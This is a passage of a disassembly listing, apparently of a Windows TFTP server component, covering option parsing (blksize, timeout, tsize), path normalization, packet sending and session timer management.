mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h ; tolen
push [ebp+to] ; to
not ecx
dec ecx
push eax ; flags
add ecx, 5
lea eax, [ebp+buf]
push ecx ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:WSAGetLastError ; WSAGetLastError
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int)
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
arg_0 = dword ptr 4
Str1 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6 ; hostshort
rep stosd
call ds:htons ; htons
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+Str1]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:_stricmp
push offset Str2 ; "blksize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp ; Str
call ds:atoi ; atoi
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp ; Str1
call esi ; _stricmp
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp ; Str
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:atoi ; atoi
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp ; Str1
call esi ; _stricmp
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah ; Radix
push ebx ; DstBuf
push dword ptr [eax+24h] ; Val
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:_itoa ; _itoa
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0 ; int
push 8 ; hostshort
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8] ; s
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax ; int
push ecx ; to
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100273D(void *Src, int, int)
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+Src]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi ; Size
add eax, edx
push edx ; Src
push eax ; Dst
call ds:memmove ; memmove
mov eax, [ebp+Src]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:htons
push 3 ; hostshort
call edi ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call edi ; htons
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:_read ; _read
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
loc_1002877: ; CODE XREF: sub_10027E1+34j
push 1
pop eax
loc_100287A: ; CODE XREF: sub_10027E1+8Bj
pop edi
pop esi
retn 8
sub_10027E1 endp
; =============== S U B R O U T I N E =======================================
sub_100287F proc near ; CODE XREF: sub_1002F31+2C6p
; sub_100333A+2CDp
arg_0 = dword ptr 4
push esi
mov esi, offset CriticalSection
push esi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, dword_1006098
push esi ; lpCriticalSection
mov eax, [esp+8+arg_0]
mov [eax], ecx
mov dword ptr [eax+4], offset dword_1006098
mov [ecx+4], eax
mov dword_1006098, eax
call ds:LeaveCriticalSection
push 1
pop eax
pop esi
retn 4
sub_100287F endp
; =============== S U B R O U T I N E =======================================
sub_10028B5 proc near ; CODE XREF: sub_1002A3D+Cp
; sub_1002EC8+8p ...
arg_0 = dword ptr 4
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push edi
mov edi, offset CriticalSection
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov eax, dword_1006098
mov ecx, offset dword_1006098
loc_10028D0: ; CODE XREF: sub_10028B5+2Dj
cmp eax, ecx
jz short loc_10028F2
mov edx, [eax+8]
lea esi, [eax-18h]
cmp edx, [esp+0Ch+arg_0]
jz short loc_10028E4
mov eax, [eax]
jmp short loc_10028D0
; ---------------------------------------------------------------------------
loc_10028E4: ; CODE XREF: sub_10028B5+29j
push esi ; lpCriticalSection
call ebx ; EnterCriticalSection
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
mov eax, esi
jmp short loc_10028FB
; ---------------------------------------------------------------------------
loc_10028F2: ; CODE XREF: sub_10028B5+1Dj
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_10028FB: ; CODE XREF: sub_10028B5+3Bj
pop edi
pop esi
pop ebx
retn 4
sub_10028B5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002901(LPCRITICAL_SECTION lpCriticalSection)
sub_1002901 proc near ; CODE XREF: sub_100297A+Ap
lpCriticalSection= dword ptr 4
push esi
mov esi, [esp+4+lpCriticalSection]
mov eax, [esi+20h]
cmp eax, 0FFFFFFFFh
jz short loc_1002915
push eax ; s
call ds:closesocket ; closesocket
loc_1002915: ; CODE XREF: sub_1002901+Bj
mov eax, [esi+10004h]
test eax, eax
jz short loc_100292E
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_100292E: ; CODE XREF: sub_1002901+1Cj
push 0
push dword ptr [esi+0FFFCh]
call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx
push dword ptr [esi+0FFF8h] ; hObject
call ds:CloseHandle ; CloseHandle
push esi ; lpCriticalSection
call ds:DeleteCriticalSection
pop esi
retn 4
sub_1002901 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002953(void *Memory)
sub_1002953 proc near ; CODE XREF: sub_100297A+2Fp
; sub_100297A+37p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
mov eax, [esi+1002Ch]
cmp eax, 0FFFFFFFFh
jz short loc_100296B
push eax
call ds:_close ; _close
pop ecx
loc_100296B: ; CODE XREF: sub_1002953+Ej
push esi ; Memory
call ds:free ; free
pop ecx
pop esi
retn 4
sub_1002953 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_100297A(LPCRITICAL_SECTION Memory)
sub_100297A proc near ; CODE XREF: sub_10029BA+55p
Memory = dword ptr 4
push esi
mov esi, [esp+4+Memory]
test esi, esi
jz short loc_10029B6
push esi ; lpCriticalSection
call sub_1002901
mov eax, [esi+24h]
dec eax
jz short loc_10029B0
dec eax
jz short loc_10029A8
dec eax
jz short loc_10029A0
dec eax
jnz short loc_10029B6
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A0: ; CODE XREF: sub_100297A+19j
push esi
call nullsub_1
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029A8: ; CODE XREF: sub_100297A+16j
push esi ; Memory
call sub_1002953
jmp short loc_10029B6
; ---------------------------------------------------------------------------
loc_10029B0: ; CODE XREF: sub_100297A+13j
push esi ; Memory
call sub_1002953
loc_10029B6: ; CODE XREF: sub_100297A+7j
; sub_100297A+1Cj ...
pop esi
retn 4
sub_100297A endp
; =============== S U B R O U T I N E =======================================
sub_10029BA proc near ; DATA XREF: sub_10018DB+98o
push ebx
mov ebx, ds:EnterCriticalSection
push esi
push offset CriticalSection ; lpCriticalSection
call ebx ; EnterCriticalSection
mov esi, dword_1006098
cmp esi, offset dword_1006098
jz short loc_1002A28
push edi
push ebp
loc_10029D9: ; CODE XREF: sub_10029BA+6Aj
lea edi, [esi-18h]
push edi ; lpCriticalSection
call ebx ; EnterCriticalSection
mov ebp, [esi]
inc dword ptr [edi+10008h]
cmp dword ptr [edi+10008h], 4
lea eax, [edi+10008h]
push edi ; lpCriticalSection
jb short loc_1002A16
call ebx ; EnterCriticalSection
mov eax, [esi]
mov esi, [esi+4]
mov [esi], eax
mov [eax+4], esi
mov ax, [edi+2Ah]
push eax ; hostshort
call ds:htons ; htons
push edi ; Memory
call sub_100297A
jmp short loc_1002A1C
; ---------------------------------------------------------------------------
loc_1002A16: ; CODE XREF: sub_10029BA+3Bj
call ds:LeaveCriticalSection
loc_1002A1C: ; CODE XREF: sub_10029BA+5Aj
cmp ebp, offset dword_1006098
mov esi, ebp
jnz short loc_10029D9
pop ebp
pop edi
loc_1002A28: ; CODE XREF: sub_10029BA+1Bj
push offset CriticalSection ; lpCriticalSection
call ds:LeaveCriticalSection
call sub_1001A1F
pop esi
pop ebx
retn 8
sub_10029BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002A3D proc near ; DATA XREF: sub_1002F31+341o
; sub_100333A+32Co
SystemTime = _SYSTEMTIME ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_10028B5
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jz loc_1002B57
mov eax, [esi+1000Ch]
cmp eax, 0Ah
jnb loc_1002B0B
cmp eax, 5
jbe short loc_1002A8E
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
call ds:GetLocalTime ; GetLocalTime
mov ax, [esi+2Ah]
push eax ; netshort
call ds:ntohs ; ntohs
mov ax, [esi+3Ah]
push eax ; hostshort
call ds:htons ; htons
loc_1002A8E: ; CODE XREF: sub_1002A3D+2Fj
lea eax, [esi+28h]
push 10h ; tolen
push eax ; to
push ebx ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1002AB3
call ds:WSAGetLastError ; WSAGetLastError
loc_1002AB3: ; CODE XREF: sub_1002A3D+6Ej
mov edi, [esi+10004h]
inc dword ptr [esi+1000Ch]
cmp edi, ebx
jz loc_1002B4C
cmp [esi+10028h], ebx
jnz short loc_1002AEA
mov eax, [esi+10000h]
lea ecx, [esi+10000h]
shl eax, 1
mov edx, 2710h
mov [ecx], eax
cmp eax, edx
jbe short loc_1002AEA
mov [ecx], edx
loc_1002AEA: ; CODE XREF: sub_1002A3D+90j
; sub_1002A3D+A9j
mov eax, [esi+10000h]
push eax
push eax
push edi
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
cmp eax, ebx
jz short loc_1002B4C
call ds:GetLastError
jmp short loc_1002B4C
; ---------------------------------------------------------------------------
loc_1002B0B: ; CODE XREF: sub_1002A3D+26j
cmp esi, ebx
jz short loc_1002B57
push offset aTimeout ; "Timeout"
push ebx ; hostshort
push dword ptr [esi+20h] ; s
lea eax, [esi+28h]
push ebx ; int
push eax ; to
call sub_100230A
mov eax, [esi+10004h]
lea edi, [esi+10004h]
cmp eax, ebx
jz short loc_1002B40
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002B40: ; CODE XREF: sub_1002A3D+F3j
mov [edi], ebx
mov dword ptr [esi+10008h], 4
loc_1002B4C: ; CODE XREF: sub_1002A3D+84j
; sub_1002A3D+C4j ...
cmp esi, ebx
jz short loc_1002B57
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002B57: ; CODE XREF: sub_1002A3D+17j
; sub_1002A3D+D0j ...
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002A3D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002B5E proc near ; CODE XREF: sub_1002EC8+3Dp
var_4 = dword ptr -4
lpCriticalSection= dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
mov ebx, ds:ntohs
push ebp
push esi
mov esi, [esp+10h+lpCriticalSection]
push edi
mov edi, [esp+14h+arg_4]
xor ebp, ebp
mov eax, [esi+10018h]
push 4 ; netshort
mov [esp+18h+var_4], ebp
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BA6
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002BA6
and dword ptr [esi+1000Ch], 0
push 1
pop ebp
jmp short loc_1002BCE
; ---------------------------------------------------------------------------
loc_1002BA6: ; CODE XREF: sub_1002B5E+2Aj
; sub_1002B5E+3Aj
mov ax, [edi+36h]
push eax ; netshort
call ebx ; ntohs
mov ax, [edi+34h]
push eax ; hostshort
call ds:htons ; htons
push 4 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002BCE
mov ax, [esi+10014h]
dec ax
push eax ; netshort
call ebx ; ntohs
loc_1002BCE: ; CODE XREF: sub_1002B5E+46j
; sub_1002B5E+62j
test ebp, ebp
jz loc_1002C96
cmp dword ptr [esi+10030h], 0
jz short loc_1002C1C
mov eax, [esi+10004h]
lea edi, [esi+10004h]
test eax, eax
jz short loc_1002BFE
push 0
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002BFE: ; CODE XREF: sub_1002B5E+8Fj
and dword ptr [edi], 0
mov dword ptr [esi+10008h], 4
loc_1002C0B: ; CODE XREF: sub_1002B5E+DBj
; sub_1002B5E+13Ej ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002C14: ; CODE XREF: sub_1002B5E+183j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1002C1C: ; CODE XREF: sub_1002B5E+7Fj
inc word ptr [esi+10014h]
push edi
push esi
call sub_10027E1
mov ebp, eax
xor eax, eax
cmp ebp, eax
jnz short loc_1002C3B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
jmp short loc_1002C0B
; ---------------------------------------------------------------------------
loc_1002C3B: ; CODE XREF: sub_1002B5E+D2j
cmp [esi+10028h], eax
mov [esi+1000Ch], eax
mov [esi+10008h], eax
jnz short loc_1002C59
mov dword ptr [esi+10000h], 3E8h
loc_1002C59: ; CODE XREF: sub_1002B5E+EFj
mov ecx, [esi+10004h]
cmp ecx, eax
jz short loc_1002C78
mov eax, [esi+10000h]
push eax
push eax
push ecx
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002C78: ; CODE XREF: sub_1002B5E+103j
mov eax, [esi+1001Ch]
cmp eax, [edi+20h]
jnb short loc_1002C9A
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
mov dword ptr [esi+10030h], 1
jmp short loc_1002C9A
; ---------------------------------------------------------------------------
loc_1002C96: ; CODE XREF: sub_1002B5E+72j
mov ebp, [esp+14h+var_4]
loc_1002C9A: ; CODE XREF: sub_1002B5E+123j
; sub_1002B5E+136j
test ebp, ebp
jz loc_1002C0B
mov ax, [edi+0Eh]
push eax ; netshort
call ebx ; ntohs
add edi, 0Ch
push 10h ; tolen
push edi ; to
push 0 ; flags
push dword ptr [esi+10020h] ; len
lea eax, [esi+38h]
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002C0B
call ds:WSAGetLastError ; WSAGetLastError
test esi, esi
jz short loc_1002CDE
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002CDE: ; CODE XREF: sub_1002B5E+177j
push 1
pop eax
jmp loc_1002C14
sub_1002B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int)
sub_1002CE6 proc near ; CODE XREF: sub_1002EC8+34p
var_4 = dword ptr -4
lpCriticalSection= dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, ds:ntohs
push esi
mov esi, [ebp+lpCriticalSection]
push edi
mov edi, [ebp+arg_4]
push 3 ; netshort
mov eax, [esi+10018h]
mov [edi+20h], eax
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D3A
mov ax, [esi+10014h]
inc ax
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D3A
inc word ptr [esi+10014h]
xor ebx, ebx
mov [ebp+var_4], 1
mov [esi+10008h], ebx
jmp short loc_1002D9D
; ---------------------------------------------------------------------------
loc_1002D3A: ; CODE XREF: sub_1002CE6+28j
; sub_1002CE6+3Aj
push 3 ; netshort
call ebx ; ntohs
cmp [edi+34h], ax
jnz short loc_1002D9B
mov ax, [esi+10014h]
push eax ; netshort
call ebx ; ntohs
cmp [edi+36h], ax
jnz short loc_1002D9B
mov ebx, ds:htons
push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
add edi, 0Ch
push 10h ; tolen
mov [esi+3Ah], ax
push edi ; to
push 0 ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_1002EB3
call ds:WSAGetLastError ; WSAGetLastError
jmp loc_1002EB3
; ---------------------------------------------------------------------------
loc_1002D9B: ; CODE XREF: sub_1002CE6+5Cj
; sub_1002CE6+6Cj
xor ebx, ebx
loc_1002D9D: ; CODE XREF: sub_1002CE6+52j
cmp [ebp+var_4], ebx
jz short loc_1002DE4
lea eax, [ebp+arg_4]
push eax
mov eax, [edi+2Ch]
push dword ptr [esi+10030h]
sub eax, 4
push eax
lea eax, [edi+38h]
push eax
push dword ptr [esi+1002Ch]
call sub_100373A
cmp [ebp+var_4], ebx
mov [ebp+lpCriticalSection], eax
jz short loc_1002DE4
cmp eax, ebx
jge short loc_1002DF7
push ebx ; int
push 3 ; hostshort
push dword ptr [edi+8] ; s
lea eax, [edi+0FFF1h]
add edi, 0Ch
push eax ; int
push edi ; to
call sub_100230A
loc_1002DE4: ; CODE XREF: sub_1002CE6+BAj
; sub_1002CE6+E2j
cmp esi, ebx
jz short loc_1002DEF
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1002DEF: ; CODE XREF: sub_1002CE6+100j
push 1
pop eax
jmp loc_1002EBC
; ---------------------------------------------------------------------------
loc_1002DF7: ; CODE XREF: sub_1002CE6+E6j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
ja loc_1002EB3
mov ebx, ds:htons
